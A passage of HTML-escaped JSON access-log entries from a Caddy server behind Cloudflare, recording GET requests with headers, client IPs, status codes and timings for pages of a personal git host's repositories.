26#34;:{\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.5740168,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.70.34.170\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12627\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.70.34.170\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/k12-math-paper-generator/commits/commit/a42e3bc68b2f3285da3368127b642b5999fef9a0/frontend/src/App.vue\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;89.116.14.10\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effc0f995a45-IAD\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;89.116.14.10\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.371793012,\u0026#34;size\u0026#34;:68154,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.6670785,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;162.158.167.69\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12289\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;162.158.167.69\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/blame/commit/41c3033d1ac6b9596ce3ae861484e855b619705a/i18n/en.yaml\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effec835cf2e-SJC\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;50.114.108.24\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;50.114.108.24\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.064485444,\u0026#34;size\u0026#34;:121024,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;]}} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.1998942,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.70.42.189\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;11100\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.70.42.189\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/raw/commit/028ae12ea56077fb630bbf12ed46781db583fe2a/layouts/_default/baseof.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;23.239.187.90\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;23.239.187.90\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effb9b4a057f-IAD\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.065625343,\u0026#34;size\u0026#34;:352,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Last-Modified\u0026#34;:[\u0026#34;Thu, 24 Dec 2020 10:06:58 GMT\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;private, max-age=300\u0026#34;],\u0026#34;Content-Disposition\u0026#34;:[\u0026#34;inline; filename=\\\u0026#34;baseof.html\\\u0026#34;; filename*=UTF-8\u0026#39;\u0026#39;baseof.html\u0026#34;],\u0026#34;Content-Encoding\u0026#34;:[\u0026#34;gzip\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Access-Control-Expose-Headers\u0026#34;:[\u0026#34;Content-Disposition\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/plain; charset=utf-8\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Content-Type-Options\u0026#34;:[\u0026#34;nosniff\u0026#34;],\u0026#34;Etag\u0026#34;:[\u0026#34;\\\u0026#34;ce0ddae104d973c67c938411e1c9fc19c4f383ef-gzip\\\u0026#34;\u0026#34;],\u0026#34;Vary\u0026#34;:[\u0026#34;Accept-Encoding\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.2023957,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;162.158.79.51\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;11567\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;162.158.79.51\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ns3-datacenter/commits/commit/dc680c3cf9a4de64facbb20355ae718e1a51adbb/simulator/bake\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effb9a9cd679-IAD\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;45.41.164.103\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;45.41.164.103\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.071713334,\u0026#34;size\u0026#34;:26876,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.2423117,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.166.230\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;11416\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.166.230\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/compiler-lab/raw/commit/f9764c54da2bf5ed944b69de05030d407fd32a16/lab1/convert_test.go\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;140.99.218.213\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;MX\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effbef97379d-DFW\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;140.99.218.213\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.088202332,\u0026#34;size\u0026#34;:1103,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;private, max-age=300\u0026#34;],\u0026#34;Last-Modified\u0026#34;:[\u0026#34;Sat, 25 Mar 2023 02:59:49 GMT\u0026#34;],\u0026#34;Content-Disposition\u0026#34;:[\u0026#34;inline; filename=\\\u0026#34;convert_test.go\\\u0026#34;; filename*=UTF-8\u0026#39;\u0026#39;convert_test.go\u0026#34;],\u0026#34;Etag\u0026#34;:[\u0026#34;\\\u0026#34;b4da01f8edc68fb19d2ea64add3fb0cdf169de00-gzip\\\u0026#34;\u0026#34;],\u0026#34;X-Content-Type-Options\u0026#34;:[\u0026#34;nosniff\u0026#34;],\u0026#34;Access-Control-Expose-Headers\u0026#34;:[\u0026#34;Content-Disposition\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/plain; charset=utf-8\u0026#34;],\u0026#34;Content-Encoding\u0026#34;:[\u0026#34;gzip\u0026#34;],\u0026#34;Vary\u0026#34;:[\u0026#34;Accept-Encoding\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.269168,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.210.233\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;10408\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.210.233\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/rss/commit/92a6d71ce5d49583a8ad6ac0819cdbef740e6fe4/exampleSite/README.md\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;75.102.28.121\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effd19159b4a-HKG\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;JP\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;75.102.28.121\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.00977558,\u0026#34;size\u0026#34;:9325,\u0026#34;status\u0026#34;:404,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.327542,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.166.230\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;11416\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.166.230\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/rss/commit/57bfea833850e0565cf81d9a26c52359427151a2/archetypes/tags.md\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;23.230.234.184\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;23.230.234.184\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effcdcf3e956-DFW\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Trailer/93.3.8652.5\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.013796775,\u0026#34;size\u0026#34;:9322,\u0026#34;status\u0026#34;:404,\u0026#34;resp_headers\u0026#34;:{\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.4023278,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.70.115.160\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;10314\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.70.115.160\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ns3-datacenter/src/commit/f92fef3b51b8354ae8941280a43a2554c9646017/simulator/pybindgen-0.22.0/tox.ini\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;213.201.198.112\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 